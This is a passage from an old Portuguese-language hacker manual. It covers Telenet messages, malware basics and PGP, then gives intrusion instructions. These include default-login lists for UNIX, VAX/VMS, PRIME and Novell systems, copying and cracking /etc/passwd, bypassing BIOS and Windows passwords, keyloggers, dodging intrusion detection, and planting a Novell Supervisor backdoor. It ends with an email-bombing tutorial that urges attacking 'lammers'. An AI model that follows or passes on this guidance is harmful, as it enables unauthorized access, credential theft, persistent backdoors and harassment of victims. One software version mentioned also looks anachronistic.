2.6 - Onde começar. Começe com sistemas pequenos como em universidades ou
escritórios. Depois passe para redes maiores como telenet. A telenet é
altamenter ecomendada para novatos,
pois ela tem um sistema de segurança muito vago. São milhares de conexões ao
mesmo tempo, o que torna praticamente impossível a monitoração
de um usuário (você).
----------------------------------------------------------------
Entendendo
os Sistemas
----------------------------------------------------------------
3.1
- Telenet
Telenet ou simplesmente Telnet, ‚ um sistema de interligação de
computadores. Telnet é a internet das BBS's. São vários computadores, com seu
sistema operacional próprio, associados próprios e arquivos próprios se
interligando e compartilhando informações.
Abaixo, se encontra uma lista com os principais comando da Telnet:
-----------------------------------------------------------------------------
@
- command prompt
------------------------------------------------------------------------------
? - comando errado
------------------------------------------------------------------------------
Access Bared - A sua conexão não permite esse acesso
------------------------------------------------------------------------------
Access to This Address not permitted - Seu Nui não é autorizado a acessar esse
endereço
------------------------------------------------------------------------------
Attempt Aborted - Desconectando do sistema
------------------------------------------------------------------------------
Busy - Todas as portas e destinos estão sendo usados
------------------------------------------------------------------------------
Collect Wats Call Not Permitted - Collect Wats calls não são permitidos pelo
seu host o pelo Nui
------------------------------------------------------------------------------
Connected - Conectado
------------------------------------------------------------------------------
Connection From - Seu terminal recebeu uma chamada
------------------------------------------------------------------------------
Connection Pending - O sistema está se conectando com o Nua (digite d bye pa-
ra desconectar de imediato)
------------------------------------------------------------------------------
Disconnected - Seu terminal foi desconectado pelo que você ligou
------------------------------------------------------------------------------
Enhanced Network Services System Error - Sua chamada não pode ser validada
------------------------------------------------------------------------------
Enhanced Network services unavailable at this time - Serviço temporariamente
desligado
------------------------------------------------------------------------------
Illegal Address - o endereço que você netrou é inválido
------------------------------------------------------------------------------
Invalid Charge Request - sua seleção de pagamento é inválida
------------------------------------------------------------------------------
Invalid User Id or Password - O Nui que você digitou é inválido
------------------------------------------------------------------------------
Local Congestion - Seu número de acesso local esta ocupado
------------------------------------------------------------------------------
Local Disconnect - Seu terminal foi desconectado
------------------------------------------------------------------------------
Local Network Outage - Um problema temporario esta o afastando da network
------------------------------------------------------------------------------
Local Procedure Error - Problemas na comunicação forçaram a network limpar a
sua conexão
------------------------------------------------------------------------------
Not Available,Not Operating,Not Responding - O computador
não pode aceitar o
seu pedido
------------------------------------------------------------------------------
Not Connected - Voce entrou com um comando que só funciona conectado ao sistema
certo
------------------------------------------------------------------------------
Not Reachable - Uma condição temporária deixou voce sem acesso a network.
------------------------------------------------------------------------------
Password - É o prompt que aparece quando voce entra na Nui
------------------------------------------------------------------------------
*** Possible Data Loss - conexão resetada
------------------------------------------------------------------------------
Refused Collect Connection - O sistema pago selecionado, precisa ser pago antes
da liberação
------------------------------------------------------------------------------
Rejecting - O host não aceitou a chamada
------------------------------------------------------------------------------
Remote Procedure Error - Problemas de comunicação, forçaram a network derrubá-lo
------------------------------------------------------------------------------
Still Connected - Voce se conectou em dois serviços ao mesmo tempo
------------------------------------------------------------------------------
Telenet XXX XXX - A porta que voce esta usando
------------------------------------------------------------------------------
Terminal - terminal prompt
------------------------------------------------------------------------------
Unable to validate call - Seu Nui foi temporariamente desligado
------------------------------------------------------------------------------
Unable to validate call contact admin - The Nui has been permently disabled
Unknown Adress - Seu Nua deve ser inválido
------------------------------------------------------------------------------
Wats Call not permitted - Telenet In-wats calls não são permitidas pelo seu
host ou Nua
3.2
- Sistemas Operacionais
Existem vários tipos de sistemas operacionais hoje em dia.Os mais conhecidos são
o UNIX, o VAX's, o PRIME e a rede Novell. Os textos sobre como entrar nesses
sistemas estão na seção 6.2 - HACK MODEM. O remote Access também é bem
conhecido, mas é mais usado em programas específicos ou em BBS's.
3.3 - Definições
Access Number - O numero que voce disca para acessar diretamente a network
(duh).
Nua (Network Users Address) - Nua é, basicamente, um número que voce disca
para acessar um serviço particular qualquer. Dentro do sistema voce pode usar
os recursos internos, ou pode acessar um Nua com um serviço específico para
cada numero.
Nui (Network User Identification) - Nui é uma conta com password da network,
como nas BBS só que aqui voce pode desfrutar de vários
serviços e sistemas diferentes.
DNIC (Data Network Identification Code) - DNIC é um código de 4 digitos. Pense
que o DNIC é o prefixo e o Nua é seu número de telefone
Outdial - Outdial é um modem conectado a network que, ligado a ele, voce pode
fazer chamadas para fora da network como um telefone pessoal etc...
----------------------------------------------------------------
4 - Virus, Trojan Horses
e Worms
----------------------------------------------------------------
4.1
- Virus
Virus é um programa independente que se auto reproduz. Ele ir se aclopar em
outros programas e fazer cópias de si mesmo espalhando-se pelo winchester. O
intuito do virus é destruir o corruptar informações do disco rigido ou baixar
o rendimento do micro rodando programas maiores que a memória
disponível. Anti-vírus, só retiram os vírus que eles forem programados.
Nenhum programa pode o proteger 100 % de vírus, pois a cada
momento estão sendo fabricados novos vírus em qualquer parte do mundo.
4.2
Trojan Horse (Cavalo de Tróia)
O cavalo de tróia é um programa que, como o vírus, se aclopa em um arquivo do
winchester de um microcomputador infectado. Eles tem o intuito de roubar informações
preciosas como passwords ou logins e, depois, enviá-las a
seu "dono"pela network automaticamente. Alguns antivírus retiram os
Trojans outros não, mas nenhum retira todos.
4.3
Worm
Worm é o tipo de programa mais inteligente já criado. Ele não só se espalha
pelo computador e espera pela sorte de infectar outro através de um disquete
contaminado, ele tem o poder de se espalhar por toda a network. Os worms podem
infectar toda uma rede de sistemas e fazer nelas um bom estrago.
-----------------------------------------------------------------
5
- PGP
-----------------------------------------------------------------
PGP
ou Pretty Good Privacy é um programa de computador que encripta e decripta
informações. Voce pode mandar e-mails ou até arquivos encriptados para uma
pessoa que, com o mesmo PGP que você usou para encriptar, pode decriptar as
informações e usá-las sem correr o risco de outra pessoa intercep-
tá-la. O PGP somente funciona quando é utilizada uma PUBLIC KEY.
Tanto o destinatário quanto o remetente precisam ter o mesmo PGP key, pois é
com ele que as informações são enctiptadas e decriptadas pelo seu programa.
-----------------------------------------------------------------
6
- Hack ( a melhor parte)
--------------------------------------------------------
Essa
sessão é dividida em duas partes: 1- HACK PC; 2- HACK MODEM.
Obs.: Na maior parte das explicaçoes abaixo são necessários VáRIOS
programas. Todos eles estao disponiveis na Fou HomePage (O
endereço está no fim do Manual.
--------------------------------------------------------
6.1
- Hack PC
--------------------------------------------------------
6.1.1
Password do BIOS
Para quebrar o password do BIOS você pode encontrar duas situações:
1- Se você pegar o computador depois que o password foi passado corretamente,
use um desses programas:
amipsw.com (230b)
ami.com (555b)
aw.com (1,83k)
amidecod.com (1,79k)
2- Se você pegar o computador desligado ou esquecer o password:
- Ligue o micro e entre o setup;
- Anote TODOS os dados em um papel;
>
- Desligue e abra a CPU;
- Ache uma bateria na motherboard e rettire-a;
- Espere uns 20 minutos e recoloque a bbateria;
- Ligue o micro novamente e entre no seetup;
- Re-configure todos os dados que você anotou.
_________________________________________________________________
6.1.2
Password do Windows
Para quebrar o password do Windows 3.x voce deve
digitar"ctrl+alt+del"e
depois "enter"quando aparecer a caixa de verificação. Depois que
voce passou o password, edite o
arquivo win.ini e apague as linhas
"load="e "run=".
Para
quebrar o password no WIN95:
1 - Se a caixa de verificação que aparecer for Password Logon, simplesmente
clique em cancel que o sistema vai entrar.
2 - Se a caixa de verificação for Windows Password, digite
"ctrl+alt+del", escolha a janela do password na lista que aparecer e
clique em "End Task". Com o password passado, edite o arquivo win.ini
e apague as
linhas "load="e "run=".
_____________________________________
6.1.3
Password do screen saver do Windows
Para retirar o password de Screen Saver do Windows 3.x voce deve editar o
arquivo control.ini, apagando tudo o que tiver na area do password.
Para retirar o password do Screen Saver do WIN95, renomeie
todos os arquivos de extensão .pwl do diretório do windows. Anote os
nomes alterados em um papel para eventuais problemas.
Para
desligar o screen saver sem ter o password no win 3.1 (ainda não
foi testado no 3.11 ou no WIN95), aperte ctrl+alt+del e enter várias vezes
que o screen saver ‚ fechado.
________________________________________________________________
6.1.4
Proteção de documentos do Word
Para retirar a proteção dos documentos do word use esse programa:
wfwcd.zip (19,8k)
________________________________________________________________
6.1.5
Proteção de arquivos ZIP
Para quebrar o password de arquivos ZIP use esse programa:
zipcrack.zip (12,3k)
________________________________________________________________
6.1.6
Proteção de arquivos ARJ
Para quebrar o password de arquivos ARJ use esse programa:
brkarj10.zip (13,1k)
________________________________________________________________
6.1.7
Copiando digitações ou macros de um micro
Para copiar teclas digitadas de um micro como passwords ou logins use um desses
programas:
keycopy.zip - DOS - (3,31k)
keytrap.zip - WIN95 - (36,0k)
_______________________________________________________
6.1.8
Um editor hexadecimal
Para quebrar alguns pogramas, passwords ou códigos de entrada, é bom que voce
tenha em mãos um bom programa editor de hexadecimal. Ele também é utilizado
para remover os numeros seriais de programas como
ACDSee 9.0 e
etc...
Hex Workshop 32bits (375k)
_______________________________________________________
6.1.9
Escondendo informações
Para esconder informações ou até pequenos arquivos em arquivos de imagem do
tipo .GIF (Compuserve), use esse programa:
Hide and Seek v. 4.1 (82,5k)
-----------------------------------------------------------------
6.2
- Hack Modem
-----------------------------------------------------------------
6.2.1
Encontrando o sistema
Para encontrar um computador com o sistema, voce deve procurar pelas linhas com
um programa chamado War Dialer, ou se conectar
via Telenet ou outro sistema de interligação de computadores.
War Dialer: VMB Hacker (40,7k)
_______________________________________________________
6.2.2
Sistemas UNIX
1. Entrando no sistema - Para entrar no sistema, você deve entrar com um
"lo-
gin", que pode ter de 1 a 8 dígitos e um password que pode ter de 6 a 8 dígi-
tos. Dai voce tem tres saídas:
1. Arrumar a lista de passwords com um hacker
2. Tentar entrar com os defaults
3. Ver quem está on-line com os comandos: who, rwho, finger;
e tentar entrar com seus logins mais tarde.
Defaults são logins e passwords que já vem com o sistema. Eles ficam
residentes até que o sysop o desliguem, então voce pode dar a
sorte de encontrar um esquecido. Veja lista abaixo.
Login: Password:
root root
root system
sys sys
sys system
daemon daemon
uucp uucp
tty tty
test test
unix unix
unix test
bin bin
adm adm
adm admin
admin adm
admin admin
sysman sysman
sysman sys
sysman system
sysadmin sysadmin
sysadmin sys
sysadmin system
sysadmin admin
sysadmin adm
who who
learn learn
uuhost uuhost
guest guest
host host
nuucp nuucp
rje rje
games games
games player
sysop sysop
root sysop
demo demo
---------------------------------------------------------------
2.
Dentro do sistema: Dentro do sistema, a primeira coisa que voce deve fazer é
copiar o arquivo da lista de passwords. Ele se est em:
/etc/passwd. Nesse arquivo, voce vai encontrar as informações na seguinte
sintaxe:
username:password:UserID:GroupID:descrição ou nome:homedir:shell
Ex.: fou:234abc56:7148:34:Fausto
Morais:/home/dir/fou:/bin/fou
Username: fou
Encrypted Password: 234abc56
User Number: 7148
Group Number: 34
Other Information: Fausto Morais
Home Directory: /home/dir/fou
Shell: /bin/fou
Esse
arquivo muito prov velmente estar encriptado. O password estar escondido e, sem
um programa para decript -la, a lista ser inútil. O programa de decriptação
do password UNIX, trabalha em cima de um dicion
rio pr‚ moldado, comparando as palavras com o texto encriptado. ? bom lembrar
que o Brute Force não vai decriptar a lista. Ele irá tentar comparar palavras
encriptadas por uma lista de nomes com a lista de passwords. Quando ele
encontrar semelhanças (ex. duas palavras igusia com a mesma decriptacao) ele
para e da
lista pronta.
Brute
Force (14,4k)
Dictionary Maker (7,73k)
Antes de usar o programa decriptador que nao d certeza de sucesso, tente
encontrar um login sem password pois assim, voce só precisar digitar o login
para entrar no sistema. Ex.:
fou::7148:34:Fausto Morais:/home/dir/fou:/bin/fou
Depois da lista de passwords, pegue os seguintes arquivos:
/etc/group - é a lista de newsgroups e seus passwords
tambem encriptados.
sintaxe - groupname:password:group id:users in group
/etc/hosts - é a lista de hosts conectados ao sistemas.
étil quando a conexão é via telenet ou rlogin.
/usr/mail/<user name> - é onde estão guardadas as mensagens de cada usuário.
_______________________________________________________
6.2.3
Sistemas VAX/VMS
Para entrar no sistema VAX/VMS, voce deve proceder da mesma maneira que fez no
UNIX: Arrume a lista de passwords, entre com o login de alguem ou tente os
defaults.
Username: Password:
system operator
system manager
system system
system syslib
operator operator
systets uetp
systest systest
systest test
sysmaint sysmaint
sysmaint service
sysmaint digital
field field
field service
guest guest
guest sem password
demo demo
demo sem password
test test
decnet decnet
---------------------------------------------------------------
Dentro
do sistema não há muito o que fazer. Voce pode tentar pegar a lista de
passwords em: SYS$SYSTEM:SYSUAF.DAT, mas
normalmente, ela nao esta disponivel para os usuários Tome muito cuidado quando
tentar quebrar o sistema VAX's, pois ele
guarda todos os bad logins e bad passwords, podendo rastreá-lo na sua próxima
tentativa. Se voce quiser mesmo tentar, entre com alguns passwords em um dia,
espere e tente novamente no dia seguinte...
_______________________________________________________
6.2.4
Sistemas PRIME
Para entrar no sistema PRIME voce dever fazer as mesmas coisas que fez
no UNIX e no VAX's.
Username: Password:
prime prime
primos primos
primos prime
primos_cs prime
primos_cs primos
primenet primenet
system system
system prime
system primos
netlink netlink
test test
guest guest
guest1 guest
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6.2.5
Rede Novell
1. Entrando no Sistema - Para quebrar a rede Novell voce deve utilizar os mesmos
recursos que usou para entrar nos sistemas UNIX ou VAX's. Na Novell voce tambem
pode tentar alguns defaults. Os defaults da rede Novell sao usados para a conexão
com portas externas como impressoras, fax e etc..., todos sem password. Abaixo
estÆo alguns defaults:
Login:
superisor
guest
admin
user_template
print
laser
hp_laser
printer
laserwriter
post
mail
gateway
gate
router
backup
wangtek
fax
faxuser
faxworks
test
archivist
chey_archsvr
windows_passthru
----------------------------------------------------------------
Se
voce conseguir entrar com esses defaults, voce pode conseguir a lista com os
logins verdadeiros fazendo o seguinte: vá ao
diretório SYS:PUBLIC, digite SYSCON e de enter. Entao v a User Information e
veja
a lista com todos os logins desse servidor. Esses logins só poderao ser
utilizados se estiverem sem password, pois a lista s¢ mostra os nomes. Nunca
tente chutar o password de um usuário, pois o computador armazena o numero de
vezes que uma senha foi digitada errada e manda para o usu rio verdadeiro
quando ele se conecta. Esse sistema de segurança se chama Intruder Detection.
Se voce nao conseguir entrar com esses logins, faça o seguinte: no prompt do
DOS digite NETX ou VLM, para rodar a rede TSRs e
escreva CX /T /A /R. Com isso voce, provavelmente conseguir a lista dos usu
rios.
2. Conseguindo SuperAcess - Para conseguir um acesso Supervisor, que ‚ muito
importante para fazer uma backdoor ou utilizar outros
recursos use esse programa:
nw-hack.zip (25,8k)
Os
problemas de usar o nw-hack sao os seguintes: O password Supervisor é mudado
para SUPER_HACKER; Todas as contas no servidor tem acesso Supervisor; o
administrador do sistema logo saber que voce entrou na rede e acabar com os
previlegios do acesso Supervisor mudando tambem seu password. A única coisa que
voce pode fazer é deixar uma backdoor ou "porta dos fundos".
3. Deixando uma Porta dos Fundos - Uma porta dos fundos com previlegios de
acesso Supervisor é como uma assinatura gr tis. Para
fazer isso, voce deve utilizar o seguinte programa:
super.zip (31,3k)
Esse
programa foi escrito exatamente para deixar o usuário desligar e ligar o acesso
Supervisor na hora que quiser. Faça então o
seguinte:
- Consiga aceso Supervisor com o nw-haccker;
- Ligue sua conta para supe equivalencyy com o super.exe;
- Se voce ganhar acesso Supervisor, de super equivalency a algum dos defaults
(Guest, test, archivist, chey_archsvr...);
-
Saia e entre na rede com o default que voce deu a super equivalency e ligue o
acesso Supervisor com o super.exe;
- Saia e entre novamente com o login quue voce utilizou primeiro;
- Remova o acesso Supervisor.
Agora o default que voce escolheu pode ser ligado e desligado por voce, na hora
que voce quiser para ter acesso Supervisor.
________________________________________________________________
6.2.6
Passwords muito utilizados
Se não houver outro jeito e voce precisar chutar os passwords, chute com
inteligência e não vá começando: aaa, aab, aac, aad ...
Os passwords mais utilizados aqui no Brasil são:
- Times de futebol;
- Telefone;
- Sobrenome;
- Nome de computadores (pentium, ibm, eetc são encontrados com frequência);
- Apelidos;
-
Nome de pessoas famosas;
-
Passwords de teclas seguidas. Ex.: qwerty, asdfgh, zxcvbn ou aaa, bbb, ccc. O
usuário que usa desse tipo de password não pensa em
hackers quebrando sua senha e sim na velocidade para dar login.
Por isso, quando você escolher seu password, faça uma mesclagem de letras e números.
Ex. mouse/1997 - m1o9u9s7e. Parece óbvio, mas ninguém vai chutar um password
desse tipo quando tentar quebrar seu login.
________________________________________________________________
6.2.7
E-mail
Nesta sessão voce encontrar arquivos para enviar e-mails bombs, e-mail sem
remetente e os famosos PGPs.
Unabomb (59,9k) Para bombear o e-mail de alguém.
Upyours 3.0 (+-2Mb) O melhor programa de e-mail bomb
Anonimail (71,3k) Para enviar e-mails anônimos
AEgis Shell for PGP (2,6Mb) Um dos melhores programas de encriptação
Se
você quiser enviar um E-Mail para Usenet, mande a mensagem para
<NEWSGROUP>@<SERVERNAME>, por exemplo.
Grupo: fou.morais
Gateway: news.demon.co.uk
Endereço: [email protected]
Abaixo est uma lista com alguns gateways:
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
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Unabomber
Devido
ao grande número de pedidos de ajuda no uso do Unabomber, aqui vai um tutorial
completo sobre o programa.
INSTALAÇÃO: Descompacte o arquivo em um diretório qualquer.
Copie o arquivo iport.vbx para o system do Windows, arrume (faça
download na Internet) um vbrun300.dll e copie tambem para o system. USO: Rode o
programa, na área "Mail Server" escreva o servidor que voce usa para
mandar E-Mails. (Veja isso na configuração do seu programa de mensagens)
Escreva então o endereçoo da vítima em "To", o endereço que você
quer ter em "From", e sua mensagem como você escreve normalmente. Área
"Apparent Server", ‚ o servidor que vai aparecer como remetente na
mensagem
que você enviar.
OBS:
O remetente na mensagem estar escondido para pessoas comuns. Hackers,
programadores ou qualquer especialista poder
descobrir o endereço do idiota que o bombeou. NÃO VACILE... Este programa
serve para ser usado com lammers, portanto bombeie lammers.
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FIM
DO MANUAL PROFISSIONAL DO HACKER.
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NÃO ME RESPONSABILIZO PELO USO DAS INFORMAÇÕES AQUI COLOCADAS SE VOCÊ FIZER
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DIVULGAÇÃO EU KERO,PROBLEMA NÃO....
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